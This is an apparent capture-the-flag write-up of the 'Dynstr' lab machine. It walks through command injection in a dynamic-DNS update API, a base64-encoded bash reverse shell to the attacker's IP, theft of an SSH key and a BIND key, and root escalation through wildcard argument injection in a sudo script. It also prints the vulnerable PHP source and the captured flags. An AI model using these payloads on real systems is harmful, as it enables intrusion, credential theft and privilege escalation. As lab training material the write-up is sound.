Dynstr
11 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.10.244
- Release: 05 / 06 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -oN nmap/targeted 10.10.10.244 -p 22,53,80
Nmap scan report for 10.10.10.244
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.92 seconds
This machine has ports 22 (SSH), 53 (DNS) and 80 (HTTP) open.
Background information
Dyna DNS is a company that offers dynamic DNS for their clients. As their services are still in beta, they said to use dynadns:sndanyd
for Basic HTTP Authentication when using their API.
They also say in their webpage that the API is built so that the requests are similar to the REST API of no-ip.com.
At the moment, they have the following domains:
dnsalias.htb
dynamicdns.htb
no-ip.htb
DNS exploration
Using dig
can be useful to see some information about the provided domains:
$ dig dnsalias.htb dynamicdns.htb no-ip.htb @10.10.10.244
; <<>> DiG 9.10.6 <<>> dnsalias.htb dynamicdns.htb no-ip.htb @10.10.10.244
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 53374
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;dnsalias.htb. IN A
;; AUTHORITY SECTION:
. 600 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022071700 1800 900 604800 86400
;; Query time: 34 msec
;; SERVER: 80.58.61.250#53(80.58.61.250)
;; WHEN: Sun Jul 17 16:43:18 CEST 2022
;; MSG SIZE rcvd: 116
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 51687
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;dynamicdns.htb. IN A
;; AUTHORITY SECTION:
. 600 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022071700 1800 900 604800 86400
;; Query time: 45 msec
;; SERVER: 80.58.61.250#53(80.58.61.250)
;; WHEN: Sun Jul 17 16:43:18 CEST 2022
;; MSG SIZE rcvd: 118
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26451
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;no-ip.htb. IN A
;; AUTHORITY SECTION:
no-ip.htb. 60 IN SOA dns1.dyna.htb. hostmaster.dyna.htb. 2021030303 21600 3600 604800 60
;; Query time: 38 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Sun Jul 17 16:43:18 CEST 2022
;; MSG SIZE rcvd: 98
Taking a look at the API documentation of no-ip.com, it can be easy to generate valid subdomains (using Basic HTTP Authentication):
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=asdf.no-ip.htb&myip=10.10.17.44'
good 10.10.17.44
Now, subdomain asdf.no-ip.htb
should be mapped to 10.10.17.44:
$ dig asdf.no-ip.htb @10.10.10.244
; <<>> DiG 9.10.6 <<>> asdf.no-ip.htb @10.10.10.244
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26185
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;asdf.no-ip.htb. IN A
;; ANSWER SECTION:
asdf.no-ip.htb. 30 IN A 10.10.17.44
;; Query time: 43 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Sun Jul 17 16:44:16 CEST 2022
;; MSG SIZE rcvd: 59
Foothold on the machine
The tricky thing is that we have a user input in the name of the subdomain (asdf
in the above example). So let’s try and inject some system commands. As it is blind execution, let’s see if we can connect to our machine:
$ echo 'curl 10.10.17.44' | base64
Y3VybCAxMC4xMC4xNy40NAo=
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=`echo+Y3VybCAxMC4xMC4xNy40NAo=|base64+-d|bash`.no-ip.htb&myip=10.10.17.44'
Note the use of Base64 as the dot characters get confused with subdomains.
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.10.244 - - [] "GET / HTTP/1.1" 200 -
::ffff:10.10.10.244 - - [] "GET / HTTP/1.1" 200 -
So, as there is connection, we have got Remote Code Execution (RCE) and thus we can get a reverse shell:
$ echo 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=`echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx|base64+-d|bash`.no-ip.htb&myip=10.10.17.44'
And there is the access as www-data
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.244.
Ncat: Connection from 10.10.10.244:43290.
bash: cannot set terminal process group (794): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@dynstr:/var/www/html/nic$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@dynstr:/var/www/html/nic$ export TERM=xterm
www-data@dynstr:/var/www/html/nic$ export SHELL=bash
www-data@dynstr:/var/www/html/nic$ stty rows 50 columns 158
Additionally, we can check how the source code was created to allow this RCE:
www-data@dynstr:/var/www/html/nic$ ls -l
total 4
-rw-r--r-- 1 root root 0 Mar 12 19:41 index.html
-rw-r--r-- 1 root root 1110 Mar 13 19:40 update
www-data@dynstr:/var/www/html/nic$ cat update
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }
if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>
They are letting user input (variables $cmd
, $h
) inside a system()
command with no validation, so the commands injected get executed.
System enumeration
There are three relevant users to consider:
www-data@dynstr:/var/www/html/nic$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
dyna:x:1000:1000:dyna,,,:/home/dyna:/bin/bash
bindmgr:x:1001:1001::/home/bindmgr:/bin/bash
We can list the contents of bindmgr
’s home directory:
www-data@dynstr:/tmp$ ls -la /home/bindmgr/
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root root 4096 Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25 2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Jun 19 01:58 user.txt
www-data@dynstr:/tmp$ ls -la /home/bindmgr/.ssh/
total 24
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 12:09 known_hosts
www-data@dynstr:/tmp$ cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
The user bindmgr
has an authorized_keys
file. However, to connect via SSH without password, we need to have a private key and an IP address mapped to a subdomain of infra.dyna.htb
.
Using linpeas.sh
to enumerate, it tells that there is a potential private key at ~/support-case-C62796521/C62796521-debugging.script
.
To attach a subdomain to our IP address, we could try using the previously used API, but domain dyna.htb
is not offered:
$ curl 'http://dynadns:sndanyd@10.10.10.244/nic/update?hostname=asdf.infra.dyna.htb&myip=10.10.17.44'
911 [wrngdom: infra.dyna.htb]
We find that there is needed another key, which is at /etc/bind/infra.key
(similar to the one used in the previous PHP file). This one is needed to use nsupdate
(some nsupdate
examples can be found here):
www-data@dynstr:/var/www/html/nic$ cat /etc/bind/infra.key
key "infra-key" {
algorithm hmac-sha256;
secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
www-data@dynstr:/var/www/html/nic$ nsupdate -k /etc/bind/infra.key
> update add asdf.infra.dyna.htb 86400 A 10.10.17.44
>
> update add 44.17.10.10.in-addr.arpa 86400 PTR asdf.infra.dyna.htb
> send
> quit
We can check it with dig
:
$ dig asdf.infra.dyna.htb @10.10.10.244
; <<>> DiG 9.10.6 <<>> asdf.infra.dyna.htb @10.10.10.244
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60663
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;asdf.infra.dyna.htb. IN A
;; ANSWER SECTION:
asdf.infra.dyna.htb. 86400 IN A 10.10.17.44
;; Query time: 76 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: ...
;; MSG SIZE rcvd: 62
Lateral movement to user bindmgr
Now we can login as bindmgr
.
$ ssh -i id_rsa bindmgr@10.10.10.244
bindmgr@dynstr:~$ cat user.txt
065011ea147bed677a2c49b904ef467c
This user can run a Bash script as root
without password:
bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
Here is the content of the script:
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
Privilege escalation
The key point to notice in the Bash script is:
cp .version * /etc/bind/named.bindmgr/
The idea is to take the bash
binary file, change its mode to SUID and then use cp --preserve=mode
, so that it is copied by root
into /etc/bind/named.bindmgr
as SUID.
The use of the wildcard (*
) let’s us create a file called '--preserve=mode'
, so that it is used in the cp
command, not as a file but as a parameter.
Here it is the process (we need a .version
file to pass the first two if
statements):
bindmgr@dynstr:~$ cd /tmp
bindmgr@dynstr:/tmp$ echo '2' > .version
bindmgr@dynstr:/tmp$ cp $(which bash) .
bindmgr@dynstr:/tmp$ chmod 4755 bash
bindmgr@dynstr:/tmp$ echo > --preserve=mode
bindmgr@dynstr:/tmp$ ls -la | grep bindmgr
-rwsr-xr-x 1 bindmgr bindmgr 1183448 Jul 17 16:56 bash
-rw-rw-r-- 1 bindmgr bindmgr 1 Jul 17 16:56 --preserve=mode
-rw-rw-r-- 1 bindmgr bindmgr 2 Jul 17 16:56 .version
bindmgr@dynstr:/tmp$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-apache2.service-z1Nejh'
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-systemd-logind.service-Hse6sg'
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-systemd-resolved.service-r4Vptf'
cp: -r not specified; omitting directory 'systemd-private-3676061894b9497587b13254f655c27f-systemd-timesyncd.service-omMmHi'
cp: -r not specified; omitting directory 'vmware-root_495-2126330929'
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'
/etc/bind/named.bindmgr/bash:14: unknown option 'hȀE'
/etc/bind/named.bindmgr/bash:40: unknown option 'YF'
/etc/bind/named.bindmgr/bash:40: unexpected token near '}'
Now we have bash
as a SUID binary, wo we can run it as root
:
bindmgr@dynstr:/tmp$ ls -la /etc/bind/named.bindmgr/
total 1168
drwxr-sr-x 2 root bind 4096 Jul 17 16:56 .
drwxr-sr-x 3 root bind 4096 Jul 17 16:56 ..
-rwsr-xr-x 1 root bind 1183448 Jul 17 16:56 bash
-rw-rw-r-- 1 root bind 2 Jul 17 16:56 .version
bindmgr@dynstr:/tmp$ /etc/bind/named.bindmgr/bash -p
bash-5.0# cat /root/root.txt
a098dde8b9b9849be538b1de060156a2